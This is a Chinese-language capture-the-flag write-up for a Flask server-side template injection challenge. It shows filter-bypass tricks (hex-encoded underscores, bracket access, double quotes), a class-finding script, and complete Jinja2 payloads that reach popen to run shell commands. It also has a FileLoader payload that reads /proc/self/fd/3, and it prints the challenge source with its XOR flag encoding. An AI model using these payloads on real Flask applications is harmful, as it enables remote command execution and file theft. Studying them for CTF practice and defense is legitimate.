[pasecactf_2019]flask_ssti
进入题目后如下图所示
因为题目本身就提示ssti了,我也就直接尝试有没有过滤了
这里过滤了下划线,使用十六进制编码绕过,_编码后为\x5f,
.过滤的话我们直接用[]包含绕过
这里过滤了单引号,我们用双引号绕过
这题过滤已经找完了,接下来是构造
相当于执行{{class}}
相当于执行{{class.bases[0]}}
相当于执行{{class.bases[0].subclasses()}}
下面贴一个脚本用来找可用类
import json
a = """
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)
这里我们要找os._wrap_close,在127
相当于执行{{class.bases[0].subclasses()[127]}}
到这里后发现有popen,open,system这些方法
相当于执行{{class.bases[0].subclasses()[127].init.globals.[“popen”](“whoami”).read()}}
成功执行了whoami命令
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}
这里附上利用链
接下来执行ls看看有啥
这里找了一圈看不到flag,只能cat ap*看看源代码
这个源代码,我看着脑壳疼
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
这个代码属实无语,还把/app/flag给删掉了,好在他加密完成的flag已经存在
config[‘flag’]里面了,而他加密的模式又是异或,所以他的加密函数和解密函数是相同的
先找找加密后的flag吧
-M7\x10w@d94\x02!`-\x0eL\x0c;\x07(DKO\r\x17!2R4\x02\rO\x0bsT#-\x1c`@Z\x1dG
成功逆出flag,这么一看,这题flag直接找找不到,只能读取源码来逆,但是源码有用部分提示已经给出了,所以有点郁闷。。。
看了一眼别的大佬的WP
大多都是用_frozen_importlib_external.FileLoader这个类
然后用get_data读取/proc/self/fd/3
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
不是很明白这个文件为什么会有flag,我试了下直接cat,不太行
这个知识点的详细解析看我另一篇文章